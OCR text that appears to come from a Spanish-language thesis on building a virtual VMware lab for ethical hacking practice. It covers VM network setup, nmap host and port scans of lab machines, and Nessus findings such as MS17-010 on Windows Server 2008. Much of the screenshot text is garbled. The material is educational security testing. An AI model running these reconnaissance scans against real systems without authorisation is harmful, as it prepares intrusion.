i Metwork Adapter  Custom (VMnet2) Replicz
LISE Controller Present
Ce':' Sound Card Auto detect (O NAT: Used
@Printer Present () Host-only:
8 Display Auto detect (®) Custom: 5

VMnet2

Figura 42. Configuracion de la interfaz de red
Fuente: elaboracion propia

Se asigna los parametros légicos de red tal como se muestra en la imagen siguiente.

L ]
Propiedades: Protocolo de Internet versicn 4 (TCP/IPv4d) M

General

Puede hacer que la configuracion IP se asigne automaticamente sila
red es compatible con esta fundonalidad. De lo contrario, debera
consultar con el administrador de red cudl es la configuracian IP
apropiada.

(") Obtener una direcdén IP automaticamente

@) Usar la siguiente direcdién IP:

Direccién IP: 192,166 ,230 . 2
Mascara de subred: 255,255,255, 0
Puerta de enlace predeterminada: 192 . 168,230, 1

CObterer |a direccidn del servidor DNS automaticamente

@) Usar las siguientes direcciones de servidor DNS:

Servidor DMS preferido: 192 . 168 . 230, 1
Servidor DMNS alternativo:
[ validar configuracisn al salir [ Opciones avanzadas. .. ]

[ Aceptar ][ Cancelar ]

[ ”]
Figura 43. Asignacion de parametros de red.
Fuente: elaboracion propia
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e Instalacion de maquina Windows xp

Para el caso de esta maquina ya se tiene el archivo preinstalado del sistema operativo
Windows xp, asi que solamente se procedera a ir al menu File y abrir dicho archivo.

File Edit View VM Tabs Help | B ~ | | L2 0O |0 &
Abrir
« v « xp_atack-ftp » xp_atack v | Buscar en xp_atack
Organizar » Mueva carpeta ==
&= Imagenes e Mombre Fecha de mo
J Musica caches 20/11/2013 1
B Objetos 3D Windows XP Professional.vrm.lck 21/07/2019 1
ﬂ Videos @ Windows XP Professional 02/03,/20191
s 05(C)
- DATA (D:) w £
Mombre: ~ | | All supported files
Abrir

Figura 44. Ventana de instalacion de Windows XP
Fuente: elaboracion propia

Una vez abierto se obtiene la siguiente imagen

(] LAN-Win xp 1 (5] DMZ-Linux } 5

File Edit View VM Tabs Help | b + | | {9 Q) ||!

dbrary *

QL Type here to search -

7] LAN-Win xp
= [\ My Computer
% ll-:ANEI;SI;}; bit @) P Power on this virtual machine
ree -hi
E LAN-Win xp -:E_"IE-:IitvirtuaI machine settings
ﬁl LAN-wT ' ﬁl._lpgradethisvirtual machine
(1 LAN-Kali
(] DMZ-WinSer2008 v Devices
(51 DMZ-WinSer2003 i Memory 512 MB
E gmitmu; [ Processors 1
-FreeMas
EI DMZ-kal =\ Hard Dizk (SCSI) 40 GB
Iﬁ' mono-wall ) CD/DVD (IDE) Using file CAOP...
(71 LinuxNAT Floppy Auto detect
ﬁl MAT FreeBsD ¥ Network Adapter Custom (VMnet2)
Shared VM= [euj. Sound Card Auto detect

Figura 45. Ventana de configuracion del sistema operativo
Fuente: elaboracion propia
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Se procede a encender el equipo y se obtiene el cargado el sistema operativo.

E;l LAN-Win xp E;l LAM-Linu ﬁl LAM-Windows 7 E;‘ Firewall

Mozilla Firefox
Figura 46. Ventana de inicio del Windows XP
Fuente: elaboracion propia

Ahora se procede a poner la interfaz de red al segmento correspondiente que en este

caso sera el VMnet 2, para ello en las propiedades del adaptador

Close Tab

E lE}iiﬂNz-ﬁ:rl'l s Mark as Favarite
-WWInx
(5] DMZ-Wing, ~ Rename..
(51 DMZ-Linux Remove
DMZ-Freeh
E DMZkali | & Pover ’
ﬁ mono-wall Removable Devices ¥
@ LinuxMAT Pause
(7] NAT FreeB¢
Shared VMs cm Send Ctrl+Alt+Del
Grab Input
@ Snapshot »
Capture Screen
4, Manage >
Update VMware Tools...
E’I Settings...

Figura 47. Ventana de configuracidn del sistema operativo
Fuente: elaboracion propia
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Se ubica la opcién del adaptador y selecciona el modo en VMnet2 y aceptar.

Help||l'|£l|.i:5' ;Ilgj:EDIJ|

5‘ LAN-Win xp 1 E;J mona-wall 1

Virtual Machine Settings

Hardware Options

Device Summary Device status
ol L ted

#I0 Memory 517 ME onnec
[d Processars 1 Connect at power
=\Hard Disk (SCSI) 40 GB _

*CD/DVD (IDE) Using fle C:\OPTCRACK\opherackdiy.,, | Mefwerk connection
Floppy Auto detect (") Bridged: Connects
L Metwork Adapter  Custom (VMnet2) Replicate phys
le':' Sound Card Auto detect

!DISD'EY Auto detect D MAT: Used to shar
() Host-only: A priva
(®) Custom: Spedific v

VYMnet2

{_JLAM zegment:

Figura 48. Ventana de configuracion de la interfaz de red.
Fuente: elaboracion propia

Ahora se asigna los parametros l6gicos de red tal como se muestra en la imagen

siguiente.

Propiedades de Protocolo Internet [TCPSIP) E'E'

General |

Puede hacer gue la configuracian |P ze asigne automaticamente =i su
red ez compatible con este recurzo. De lo contrario, necesita congulkar
con el administrador de la red cual es la configuracian 1P apropiada.

{3 Obtener una direccidn IP automaticamente

(®) Usar la siguiente direccian [P

Direccidn IF: | 192 .168.230. 5§ |

Mé&scara de subred. | 255,255 .29 . O |

Puerta de enlace predeterminada:; | 192 168 230 . 1 |

Obtener la direccidn del servidor DMS automaticamente

{(#) Usar laz siguientes direcciones de servidar DMS:

Servidor DNS preferida: | 192 .168.230. 1 |

Servidar DMNS alkernativar: | . . . |

[ Opciones avanzadas... ]

Figura 49. Ventana de asignacidn de parametros de red.
Fuente: elaboracion propia
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4.6. Operar

En esta fase se realizé todas las pruebas de configuracién con la finalidad de garantizar el
buen funcionamiento de la infraestructura implementada. Esta fase es la prueba final de

diseno.

4.6.1. Instalaciéon de las herramientas adicionales

En esta parte se tiene algunas herramientas que se utilizara para realizar las pruebas

de pentesting.
e Kali linux

Kali-Linux es un sistema operativo basado en Linux Debian, el mismo que fue
desarrollado a partir de la distribucion backtrack, este sistema retne una serie de
herramientas preinstaladas que ayuda a los profesionales y estudiantes de seguridad
informatica a realizar acciones como: captura de trafico (mediante: wireshark, yersinia,
etc.), escaneo de puertos (mediante: nmap, dnmap, etc.), analisis de vulnerabilidades
(mediante: nmap, openvas-scanner, etc.), explotaciéon de vulnerabilidades (mediante:
THC-Hydra, exploitdb, etc.). Kali Linux esta tomando posicionamiento en la comunidad
para realizar auditorias y evaluacion de seguridades, es un sistema con licencia GPL,
el mismo que puede instalarse en una maquina virtual o directamente en una maquina
de trabajo, también posee una version LITE, la cual permite hacer una evaluacion del

sistema sin la necesidad de instalarlo.

Para el caso de esta maquina ya se tiene el archivo preinstalado del sistema operativo

kali linux, asi que solamente se procedera a ir al menu File y abrir dicho archivo.

File Edit View VM Tabs Help * | & | [O ICRN jp=
t (@ Abrir
1 < w o SISTEMA OP... » EALI LINUX v 0 Buscar en KALI LI
Organizar = Mueva carpeta
&=/ Imdgenes = Mombre Fecha den
D Misica 564d790d-0247-5871-cF4f-T1F76e99636 . v, 21/07/201C
§ Objetos 3D Kali-Linux-2018.3-vm-amdéd.vmdk.Ick 21/07/201¢
ﬁ Videos Kali-Linux-2018.3-vrm-amdédvmxlck 21/077201¢
S 05(C) @Kali-Linux-ED'IS.3-vm-amdﬁ4 21/07,201¢
- DATA (D) v £
Mombre: w | | All supported fil

Abrir

Figura 50. Ventana inicial de instalacién del Kali Linux
Fuente: elaboracion propia
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Una vez abierto se obtiene la siguiente imagen

Edit View VM Tabs Help | b v | | O O || &
=
i |J_"_ﬁ LAN-Kali 1 ﬁl LAM-Win xp 1 ﬁl mono-w
Type here to search *
E" LAN-Kali

B My Computer

ﬁl LAN-Linux ) P Resumne this virtual machine

E‘ FreeBSD 64-bit (2) 45 Edit virtual machine settings

(51 LAN-Win xp = J

(51 LAN-w7

BT] LAN-Kali ¥ Devices

(71 DMZ-WinSer2008 5 Memory 2GB

% DMZ-WinSer2003 [ Processors 4

DMZ-Linux
e Hard Disk (SC51) B0 GB

ﬁl DMZ-FreeMas 2 Hard Disk (SCS)

E‘ DMZ-kali =y CD/DVD (IDE) Auto detect

Ep mono-wall ﬁll’\.letwu:urk Adapter Custom (VMnet2)

@ LinuxMAT USE Controller  Present

(51 NAT FreeBSD #)) Sound Card Auto detect

Shared Vs !_]Displa}f Auto detect

Figura 51. Ventana final de instalacion del Kali Linux
Fuente: elaboracion propia

Se procede a encender el equipo y se obtiene el sistema operativo.

Hep [~ | @ | 0O 00 |0=EH S ||E

(5 LAN-Kali > ‘ (5 mono-wall ‘

B Applications = Places » Sun 19:58

restart-vm-

@ tools.sh

s_

mount-
i shared-
folders.sh

.y

Figura 52. Pantalla de inicio del sistema operativo Kali Linux
Fuente: elaboracion propia
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Se ubica la opcién del adaptador y selecciona el modo en VMnet2 y aceptar.

E;‘ LAN-Kali 1 E;J maona-wall

Yirtual Machine Settings

Hardware Options

) Device status
Device Summary
| C cted
#9 Memory 266 onne
[ Processars 4 Connect at power on
\Hard Disk (SCSI) 80 GB _
“JCD/DVD (IDE) Auto detect Metwork connection
[ Network Adapter  Custom (VMnet2) (O Bridged: Connected dire
USE Controller Present Replicate physical n
'36':' Sound Card Auto detect
E_]Display Auto detect (CINAT: Used to share the

() Host-only: A private ne
(®) Custom: Specific virtual

VMnet2

Figura 53. Configuracion de la interfaz de red
Fuente: elaboracion propia

e Nessus

Es un programa de escaneo de vulnerabilidades en diversos sistemas operativos.
Consiste en un demonio o diablo, Nessus, que realiza el escaneo en el sistema
objetivo, y Nessus, el cliente (basado en consola o gréafico) que muestra el avance e
informa sobre el estado de los escaneos. Desde consola Nessus puede ser

programado para hacer escaneos programados.

! — O x
) Messus Home / Lagin x +
&« C A Noessegurc | bitps;//loca.. B G g :
22t Aplicaciones f JAvA ED melodia doc t »

Nessus )

Figura 54. Pantalla inicial de Nessus
Fuente: elaboracion propia
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CAPITULO YV

5. Resultados

Consisti6 en evaluar la infraestructura de red virtual disefiada, para ello se implementd

cada una de las fases del hacking ético (recoleccion de informacion, andlisis de

vulnerabilidades, explotacion y post explotacién); de esta manera se pudo determinar

las fases que son posible simular y que actividades referidos al hacking ético, no se

pueden implementar sobre el escenario virtual.

5.1. Fase I Pruebas de escaneo de puertos y servicios

Una vez que se ha identificado los hosts activos en la red del objetivo, el siguiente paso

es buscar puertos y servicios asociados con los mismos. El escaneo de puertos es el

proceso de descubrir puertos UDP como TCP, los mismos que revelaran los servicios que

estan corriendo sobre la red, los cuales pueden ser puntos potenciales de ataque.

Para realizar esta fase se utiliza la herramienta nmap, la cual permite realizar diferentes

tipos de escaneo dependiendo de la opcién que se use y el tipo de informacion que se

desea obtener, de la siguiente manera:

sT: permite realizar un escaneo de los puertos TCP para comprobar si existe algin
servicio activo y puerto abierto. Este tipo de escaneo es el menos comun, debido a

que llega a completar las conexiones TCP.

sU: aungue la mayoria de servicios usan puertos TCP, es importante escanear

puertos UDP los cuales podrian ser usados para posibles ataques.
n: indica que no requiere hacer resolucién a los DNS.

Pn: indica que no se realicen técnicas para saber si el host esta arriba, debido a que

se conoce que el host esta en funcionamiento.

Ademas, es importante conocer la definicién del estado de los puertos:

Abierto: Indica que el puerto se encuentra a la espera de conexiones TCP o paquetes

UDP. Estos puertos son usados como vectores de ataque.

Cerrado: Indica que el puerto no tiene ninguna aplicacion escuchando, aunque puede

responder a paquetes de pruebas de nmap.

Filtrado: Nmap no puede determinar si el puerto se encuentra en estado abierto o
cerrado debido a un filtrado de paquetes, este filtrado puede ser debido a un firewall,

reglas del enrutador, o por el propio equipo.

No-Filtrado: Indica que el puerto es accesible, pero no se puede determinar si esta

abierto o cerrado.
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e Abierto-Filtrado: Nmap clasifica a los puertos dentro de este tipo cuando no puede

determinar si esta abierto o filtrado.

e Cerrado-Filtrado: Nmap clasifica a los puertos dentro de este tipo cuando no puede
determinar si esta abierto o filtrado.

5.1.1. Objetivos del scanning

Obtener los hosts activos dentro de la subred local 192.168.230.0 / 24 vy
192.168.231.0 / 24 mediante la utilizacion de nmap.

e Realizar un escaneo de puertos para detectar puertos abiertos en los servidores,
maquinas clientes y routers y asi ir pensando en los posibles ataques que se
pueden realizar, tomando en cuenta los puertos abiertos y los servicios que

prestan.
¢ identificar los servicios que corren sobre los puertos abiertos.
e Determinar la version de los servicios asociados a los puertos.

¢ Intentar determinar el sistema operativo del equipo escaneado en base a los

puertos y servicios descubiertos.

5.1.2. Resultados del scanning

Realizacion de ping Sweep: Identificar una red, para proceder a realizar un barrido de
ping para identificar host activos en la red se utiliza el siguiente comando: nmap -sP
192.168.230.0/24

File Edit View Search Terminal Help

:~# nmap -sP 192.168.230.0/24
Starting Nmap 7.70 ( https://nmnap -06 13:07 EST
Nmap scan report for mOnOwall. PC FIREWALL
Host is up (0.00089s latency).
MAC Address: 00:50:56:2A:D8:7
Nmap scan report for : PC WINDOWS 7
Host is up (0.00057s .

MAC Address: 00:0C:29:B4:90:B8 (VMware)
Nmap scan report for [192.168.230.4 PC UBUNTU

Host is up (0.00033s latency).

MAC Address: 00:0C:29:2C:B2:8D (VMware)

Nmap scan report for PC Windows xp
Host is up (0.00035s Llatency).

MAC Address: 00:0C:29:5A:28:56 (VMware)

Nmap scan report for PC UNIX
Host is up (0.00014s Tatency) .
MAC Address: 00:0C:29:438; : e)

Nmap scan report for .16 KALI LINUX

Host is up.

Nmap done: 256 IP addresses (6 hosts up) scanned in 2.76 seconds

~# l

Figura 55. Lista de equipos activos en la zona LAN
Fuente: elaboracion propia
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Como se puede observar en la imagen anterior se listo todas la maquinas activas de

la zona LAN; aqui los detalles

Tabla 2
Equipos activos en la zona LAN.

Segmento: 192.168.230/24  (ZONA LAN)

Direccién IP C)S;Seﬁqi]\?o Descripcién
192.168.230.1 MonoWall interfaz LAN del firewall
192.168.230.2 Windows 7 PC cliente
192.168.230.4 Ubuntu PC cliente
192.168.230.5 Windows XP PC cliente
192.168.230.100 FreeBSD PC cliente
192.168.230.101 Kali Linux terminal de ataques

Fuente: Elaboracion Propia
El mismo procedimiento se realizé para el segmento de red 192.168.231.0 / 24, zona
DMZ, obteniéndose el siguiente resultado que se muestra a continuacion:

Tabla 3
Equipos activos en la zona DMZ.

Segmento: 192.168.231/24 (ZONA DMZ)

Direccion IP Sistema Descripcion
Operativo

192.168.231.1 MonoWall interfaz DMZ del firewall

192.168.231.2 FreeNas Servidor UNIX

192.168.231.3 Windows server Servidor Windows
2003

192.168.231.4 Metasploitables Servidor Linux

192.168.231.5 Windows server Servidor Windows
2008

192.168.231.101 Kali Linux terminal de ataques

Fuente: elaboracién propia

Ahora que se conoce las direcciones IP en cada segmento se procedera a listar los
puertos habilitados para identificar los servicios y la version de los mismos que corren

sobre cada puerto; para ello se utiliza los comandos respectivos de NMAP.
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Resumen del escaneo de puertos y servicios a Windows 7.

T ~#

nmap 192.168.230.2

Starting Nmap 7. ps://nmap.org ) at
Nmap scan report for 192.168.230.2
Host is up (0.0019s latency).

Not shown:
PORT
135/tcp
139/tcp
445/tcp
49152/tcp
49153/tcp
49154/tcp
49155/tcp
49156/tcp

MAC Address:

991 closed ports

SERVICE

msrpc

netbios-ssn
microsoft-ds| SERVICIOS

unknown

unknown

unknown

unknown

unknown

unknown
00:0C:29:B4:90:B8 (VMware)

Figura 56. Lista de puertos abiertos del Windows 7
Fuente: elaboracion propia

Tabla 4

Vulnerabilidades identificadas en Windows 7

Direccion IP Sistema Operativo
192.168.230.2 Windows 7
puerto  protocolo servicio detalle del servicio
135 TCP msrpc Microsoft Windows RPC
139 TCP netbios-ssn Microsoft Windows netbios-
ssn
Microsoft Windows 7 - 10
445 TCP microsoft-ds microsoft-ds (workgroup:
WORKGROUP)
49152 TCP msrpc Microsoft Windows RPC
49153 TCP msrpc Microsoft Windows RPC
49154 TCP msrpc Microsoft Windows RPC
49155 TCP msrpc Microsoft Windows RPC
49156 TCP msrpc Microsoft Windows RPC
49157 TCP msrpc Microsoft Windows RPC

Fuente: Elaboracion propia
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Resumen del escaneo de puertos y servicios a Windows XP.

- DIRECCION IP

Starting Nmap 7.70 ttps://nmap.org ) at 2019-03-08 12:
Nmap scan report for 192.168.230.5
Host is up (0.00099s latency).
995 closed ports
STATE SERVICE
telnet
msrpc

PUERTOS

netbios-ssn Y SERVICIOS
microsoft-ds
ms-wbt-server

Figura 57. Lista de puertos abiertos de Windows XP
Fuente: elaboracion propia

Tabla 5
Vulnerabilidades identificadas en Windows XP
Direccion IP Sistema Operativo
192.168.230.5 Windows XP
puerto  protocolo servicio detalle del servicio
23 TCP telnet Microsoft Windows XP telnetd
135 TCP msrpc Microsoft Windows RPC

139 TCP netbios-ssn Microsoft Windows netbios-

ssn

445 TCP micr osoft-ds Windows XP microsoft-ds
Microsoft

3389 TCP ms-wbt-server Microsoft Terminal Service

Fuente: Elaboracion propia
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Resumen del escaneo de puertos y servicios de Mestasploitables (ubuntu.)

St il

arting ‘map : nmap org ) at 2019-63
Nmap scan report fo: 192.168 231.100
Host is up (0.00045s latency).
Not shown: 977 closed ports
STATE SERVICE
open ftp
open ssh
open telnet
open smtp
open domain

open http
open rpcbind PUERTOS Y

open netbios-ssn SERVICIOS

445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp ccproxy-ftp
3306/tcp mysql
5432/tco postaresal

Figura 58. Lista de puertos abiertos del Ubuntu
Fuente: elaboracion propia

Tabla 6
Vulnerabilidades identificadas en Ubuntu
Direccion IP Sistema Operativo
192.168.231.100 UBUNTU
puerto  protocolo servicio detalle del servicio
21 TCP ftp vsftpd 2.3.4
29 TCP ssh Debian 8ubuntul (protocol
2.0)
23 TCP telnet Linux telnetd
25 TCP smtp Postfix smtpd
53 TCP domain ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubuntu)
80 TCP http DAV/2)
111 TCP rpchind 2 (RPC #100000)

Samba smbd 3.X - 4.X

139 TCcP netbios-ssn (workgroup: WORKGROUP)
, Samba smbd 3.X - 4.X

445 TCP netbios-ssn (workgroup: WORKGROUP)

512 TCP exec netkit-rsh rexecd

513 TCP login OpenBSD or Solaris rlogind
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514 TCP tcpwrapped

1099 TCP rmiregistry GNU Classpath grmiregistry
1524 TCP bindshell Metasploitable root shell
2049 TCP nfs 2-4 (RPC #100003)
2121 TCP ftp ProFTPD 1.3.1

3306 TCP mysq|l MySQL 5.0.51a-3ubuntu5
5432 TCP postgresq| PostgreSQL DB 8.3.0 - 8.3.7
5900 TCP vnc VNC (protocol 3.3)
6000 TCP X11 (access denied)

6667 TCP irc UnreallRCd

8009 TCP ajpl3 Apache Jserv (Protocol v1.3)

Apache Tomcat/Coyote JSP

8180 TCP http engine 1.1

Fuente: Elaboracion propia

Resumen del escaneo de puertos y servicios a Windows server 2003.

T~# nmap 192. 168 231. Direccion IP

ing Nmap 7. nmap org ) at 2019-03-
Nmap scan report for 192 168 231.3
Host is up (0.00038s latency).
Not shown: 975 closed ports
PORT STATE SERVICE
21/tcp open fTtp
25/tcp open smtp
53/tcp open domain
80/tcp open http
88/tcp open Kkerberos-sec
135/tcp open msrpc PUERTOS Y
139/tcp open netbios-ssn
389/tcp open ldap SERVICIOS
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1025/tcp open NFS-or-IIS
1027/tcp open IIS
1037/tcp open ams
1038/tcp open mtqgp
1042/tcp open afrog
1050/tcp java-or-0TGfileshare

1059/tcp
14 /+trn

Figura 59. Lista de puertos abiertos del Windows Server 2003
Fuente: elaboracion propia
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Tabla 7

Vulnerabilidades identificadas en Windows Server 2003

Direccion IP

Sistema Operativo

192.168.231.3

Windows server 2003

puerto protocolo servicio detalle del servicio
21 TCP ftp Filezilla ftpd 0.9.18 beta
25 TCP smtp Microsoft ESMTP 6.0.3790.1830
53 TCP domain domain
Apache httpd 2.2.3 ((Win32)
DAV/2 mod_ssl/2.2.3
80 TCP http OpenSSL/0.9.8d
mod_autoindex_color PHP/5.1.6)
kerberos- Microsoft Windows Kerberos
88 TCP sec (server time: 2019-03-08
18:53:572)
135 TCP msrpc Microsoft Windows RPC
139 TCP netbios-ssn  Microsoft Windows netbios-ssn
389 TCP Idap
Apache httpd 2.2.3 ((Win32)
DAV/2 mod_ssl/2.2.3
443 TCP ssl/http OpenSSL/0.9.8d
mod_autoindex_color PHP/5.1.6)
445 TCP microsoft-  Microsoft Wl_ndows 2003 or 2008
ds microsoft-ds
464 TCP kpasswd5
Microsoft Windows RPC over
593 TCP ncacn_http HTTP 1.0
636 TCP tcpwrapped
1025 TCP msrpc Microsoft Windows RPC
Microsoft Windows RPC over
1027 TCP ncacn_http HTTP 1.0
1037 TCP msrpc Microsoft Windows RPC
1038 TCP msrpc Microsoft Windows RPC
1042 TCP msrpc Microsoft Windows RPC
1050 TCP msrpc Microsoft Windows RPC
1059 TCP msrpc Microsoft Windows RPC
Microsoft SQL Server 2005
1433 TCP ms-sql-s 9.00.2047; SP1
3268 TCP Idap
3269 TCP tcpwrapped
3306 TCP mysq|
3389 TCP ms-wbt- Microsoft Terminal Service
server

Fuente: Elaboracion propia
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Resumen del escaneo de puertos y servicios del servidor UNIX.

Starting Nmap 7. ://nmap.org ) at 2019-03
Nmap scan report for 192.168.231.2

Host is up (0.00026s latency).
Not shown:

PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp microsoft-ds SERVICIOS
20000/tcp open dnp

MAC Address: 00:0C:29:7D:B9:50 (VMware)

Figura 60. Lista de puertos abiertos del sistema FreeBSD
Fuente: elaboracion propia

PUERTOS Y

Tabla 8
Vulnerabilidades identificadas en Unix
Direccién IP Sistema Operativo
192.168.231.2 UNIX
puerto protocolo servicio detalle del servicio
139 TCP netbios-ssn Samba smbd 3.X - 4.X
445 TCP netbios-ssn Samba smbd 3.X - 4.X
20000 TCP http lighttpd 1.4.28

Fuente: Elaboracidn propia
5.2. Fase Il: Analisis de vulnerabilidades

Aqui se realiz6 un analisis de vulnerabilidades a nivel de puerto, tomando en cuenta del
escaneo anterior de puertos abiertos en los servidores para esta fase se utiliz6 Nessus en
su version Home el cual fue instalado, se buscaron vulnerabilidades en los servidores vale

decir en la zona DMZ y la zona LAN de los clientes.

5.2.1. Objetivos de la basqueda de vulnerabilidades

Escanear cada servidor para obtener vulnerabilidades dependiendo de los puertos

abiertos y niveles de severidad de cada una, para ello se empled Nessus.

Figura 61. Inicio de sesion de Nessus
Fuente: elaboracion propia
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Una vez dentro se procede a escanear los servidores para esto es necesario afiadir
politicas de seguridad, para ello en la pestafia Policies y seguir los pasos
correspondientes creando de esta manera una politica de seguridad personalizada,
en nuestro caso se utiliz6 una politica de seguridad ya existente en Nessus,
posteriormente se afiade un escaneo, en la pestafia Scans, inmediatamente se
muestra una figura similar a la siguiente en donde en Name se indica el nombre del
escaneo, en Police, la politica que se afiadié y en Scan Target se digita la IP de nuestro

servidor de base de datos.

New Scan / politica-WindowsServer8
¢ Back to Scan Templates
Settings
BASIC v
MName SCAN WINDOWS SERVER 2008
General
Scheduls )
Descnption IDEMNTIFICAR VULMWERAEILIDADES
Matifications
Folder My Scans
_— DIREC
OBIJET

Figura 62. Configuracion de las politicas para evaluar las vulnerabilidades
Fuente: elaboracién propia

Luego de haber esperado a que se concluya el analisis de vulnerabilidad se visualizd
todas las vulnerabilidades existentes en el servidor con su respectivo plugin ID, el

grado de severidad, el nombre y las versiones de los sistemas instalados.

SCAN WINDOWS SERVER 2008
¢ Back to My Scans
Hosts | 1 Vulnerabilities 25 Histony
Filter =
Sev MName Family Count
MIXED ¢ Microsoft Windo.. Windows -
S5L Wersion 2 and 3 Pr. Service detection 1

Figura 63. Lista de vulnerabilidades identificadas
Fuente: elaboracion propia
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Entre lo analizado por Nessus existe dos riesgos que ha sido calificado como critico
(color rojo), es decir, que tiene una vulnerabilidad que podria ser explotada facilmente,
dos de vulnerabilidades como alto (color naranja), 16 como medio (color amarillo), 4
como bajo (color verde) y 59 que se dispone como informativos (color azul).

SCAN WINDOWS SERVER 2008

¢ Back to My Scans

Hosts 1 Vulnerabilities | 35 History | 1
Filter =
Host Wulnerabilities
192168.231.141 2] I
Scan Details
Vulnerabilities
Mame: SCAN WINDOWS SERVER 2008
Status: Completed ’
Paligy: politica-WindowsServerd
Scanner: Local Scanner ‘
Start: Today at £:39 PM
End: Today at 3:49 PM
Elapsed: 10 minutes

Figura 64. Resumen de las vulnerabilidades identificadas
Fuente: elaboracién propia

Vulnerabilidad Windows Server
2008

2
.

Critico Alto Medio

Gréfico 1. Cuadro comparativo del tipo de vulnerabilidades identificadas
Fuente: elaboracion propia
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Vulnerabilidades encontradas en el servidor Windows server 2008:

Tabla 9
Vulnerabilidades de nivel critico

SEVERIDAD ESCALA CODIGO NOMBRE DE LA VULNERABILIDAD

MS09-050: Microsoft Windows SMB2
_Smb2ValidateProviderCallback()

Vulnerability (975497) (EDUCATEDSCHOLAR)
(uncredentialed check)

CRITICO 10 40887

MS17-010: Security Update for Microsoft Windows
SMB Server (4013389)

(ETERNALBLUE) (ETERNALCHAMPION)
(ETERNALROMANCE) (ETERNALSYNERGY)
(WannaCry) (EternalRocks) (Petya)
(uncredentialed check)

CRITICO 10 97833

Fuente: Elaboracion propia

Tabla 10
Vulnerabilidades de nivel alto

SEVERIDAD ESCALA CODIGO NOMBRE DE LA VULNERABILIDAD

MS12-020: Vulnerabilities in Remote Desktop
9.3 58435 Could Allow Remote Code
Execution (2671387) (uncredentialed check)

7.1 20007 SSL Version 2 and 3 Protocol Detection

Fuente: Elaboracién propia

Tabla 11
Vulnerabilidades de nivel medio

SEVERIDAD ESCALA CODIGO NOMBRE DE LA VULNERABILIDAD

MS16-047: Security Update for SAM and
MEDIO 6.8 90510 LSAD Remote Protocols (3148527)
(Badlock) (uncredentialed check)

MEDIO 6.4 51192 SSL Certificate Cannot Be Trusted
MEDIO 6.4 57582 SSL Self-Signed Certificate
Microsoft Windows Remote Desktop Protocol
MEDIO 5.1 18405 Server Man-in-the-Middle
Weakness
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http://www.nessus.org/plugins/index.php?view=single&id=40887
http://www.nessus.org/plugins/index.php?view=single&id=97833
http://www.nessus.org/plugins/index.php?view=single&id=58435
http://www.nessus.org/plugins/index.php?view=single&id=20007
http://www.nessus.org/plugins/index.php?view=single&id=90510
http://www.nessus.org/plugins/index.php?view=single&id=51192
http://www.nessus.org/plugins/index.php?view=single&id=57582
http://www.nessus.org/plugins/index.php?view=single&id=18405

MEDIO 5 57608 SMB Signing not required
SSL Certificate Signed Using Weak Hashing

MEDIO 5 35291 Algorithm
MEDIO 5 45411 SSL Certificate with Wrong Hostname
SSL Medium Strength Cipher Suites
MEDIO ° 42873 Supported (SWEET32)
SSLv3 Padding Oracle On Downgraded
MEDIO 4.3 78479 Legacy Encryption Vulnerability
(POODLE)
TLS Padding Oracle Information Disclosure
MEDIO 43 80035 Vulnerability (TLS POODLE)
Terminal Services Doesn't Use Network
SHIERHE 4.3 28453 Level Authentication (NLA) Only
MEDIO 43 57690 Terminal Services Encryption Level is

Medium or Low

Fuente: Elaboracion propia

Tabla 12
Vulnerabilidades de nivel bajo.

SEVERIDAD ESCALA CODIGO NOMBRE DE LA VULNERABILIDAD

2.6 65821 SSL RC4 Cipher Suites Supported (Bar Mitzvah)

Terminal Services Encryption Level is not FIPS-

2.6 30218 140 Compliant

SSL Certificate Chain Contains RSA Keys Less

N/A 69551 Than 2048 bits

Fuente: Elaboracion propia

Tabla 13
Vulnerabilidades de nivel informativo

SEVERIDAD ESCALA CODIGO NOMBRE DE LA VULNERABILIDAD
N/A 45590 Common Platform Enumeration (CPE)
N/A 10736 DCE Services Enumeration
N/A 54615 Device Type
N/A 35716 Ethernet Card Manufacturer Detection
N/A 86420 Ethernet MAC Addresses
N/A 12053 Host Fully Qualified Domaln Name (FQDN)

I Resolution

75


http://www.nessus.org/plugins/index.php?view=single&id=57608
http://www.nessus.org/plugins/index.php?view=single&id=35291
http://www.nessus.org/plugins/index.php?view=single&id=45411
http://www.nessus.org/plugins/index.php?view=single&id=42873
http://www.nessus.org/plugins/index.php?view=single&id=78479
http://www.nessus.org/plugins/index.php?view=single&id=80035
http://www.nessus.org/plugins/index.php?view=single&id=58453
http://www.nessus.org/plugins/index.php?view=single&id=57690
http://www.nessus.org/plugins/index.php?view=single&id=65821
http://www.nessus.org/plugins/index.php?view=single&id=30218
http://www.nessus.org/plugins/index.php?view=single&id=69551
http://www.nessus.org/plugins/index.php?view=single&id=45590
http://www.nessus.org/plugins/index.php?view=single&id=10736
http://www.nessus.org/plugins/index.php?view=single&id=54615
http://www.nessus.org/plugins/index.php?view=single&id=35716
http://www.nessus.org/plugins/index.php?view=single&id=86420
http://www.nessus.org/plugins/index.php?view=single&id=12053

N/A

N/A
N/A
N/A
N/A

N/A
N/A
N/A

N/A

N/A

N/A

N/A

N/A
N/A
N/A
N/A
N/A
N/A
N/A
N/A
N/A

N/A

N/A

N/A

N/A

N/A

N/A
N/A
N/A
N/A
N/A

N/A

100871

106716

104743
64814
10287
20094

10150

ICMP Timestamp Request Remote Date
Disclosure

Local Checks Not Enabled (info)
MSRPC Service Detection
MSSQL Host Information in NTLM SSP

Microsoft SQL Server STARTTLS Support

Microsoft SQL Server TCP/IP Listener
Detection

Microsoft Windows SMB Log In Possible

Microsoft Windows SMB NativeLanManager
Remote System Information Disclosure
Microsoft Windows SMB Registry : Nessus
Cannot Access the Windows
Registry
Microsoft Windows SMB Service Detection

Microsoft Windows SMB Versions Supported
(remote check)

Microsoft Windows SMB2 Dialects Supported
(remote check)

Nessus SYN scanner
Nessus Scan Information
No Credentials Provided
OS ldentification
Patch Report
RDP Screenshot
SSL / TLS Versions Supported
SSL Certificate ‘commonName' Mismatch
SSL Certificate Information

SSL Cipher Block Chaining Cipher Suites
Supported

SSL Cipher Suites Supported

SSL Perfect Forward Secrecy Cipher Suites
Supported

SSL Session Resume Supported

Server Message Block (SMB) Protocol
Version 1 Enabled (uncredentialed check)

TCP/IP Timestamps Supported
TLS Version 1.0 Protocol Detection
Terminal Services Use SSL/TLS
Traceroute Information
VMware Virtual Machine Detection

Windows NetBIOS / SMB Remote Host
